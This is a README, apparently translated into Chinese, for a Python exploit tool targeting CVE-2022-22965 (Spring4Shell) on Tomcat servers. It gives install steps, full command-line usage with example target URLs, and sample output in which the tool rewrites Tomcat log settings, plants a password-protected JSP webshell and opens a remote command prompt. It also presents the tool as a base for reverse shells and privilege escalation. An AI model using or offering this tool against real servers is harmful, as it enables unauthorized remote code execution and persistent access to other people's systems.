CVE-2022-22965 的一个 Python 实现,以 ssh 会话的风格为用户提供提示符。
该脚本旨在易于理解和执行,兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置,从而允许该漏洞利用被多次运行。可能需要进行清理。
该漏洞存在于 5.2 版本之前的 java spring 框架中,以及 5.3.0-17 和 5.2.0-19 版本中,且运行在大于或等于 9 的 Java Development Kit 版本上。
更多信息:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
运行该漏洞利用脚本需要 requests 模块和 BeautifulSoup 模块。可以通过以下命令安装:
pip3 install bs4
pip3 install requests
所有其他模块都内置于 python3 中。
该脚本仅需要易受攻击服务器的 URL 即可运行。不过,为了便于访问等,还提供了其他标志参数。
--help 的输出:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
示例输出:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
不言而喻,该脚本不会为用户提供完整的 shell,而是被设计为一个在目标上实现完整反向 shell、权限提升等的平台。
该脚本尝试获取运行易受攻击服务器的用户/服务,以便将其用作程序中伪命令提示符的一部分,不过这并非总是可靠的。
该脚本主要是在 Python 脚本编写方面的一次练习,针对单一漏洞利用,兼顾可读性和可访问性。旨在易于使用和理解。尝试处理常见的异常。
https://skerritt.blog/a11y/ - 可访问性实现。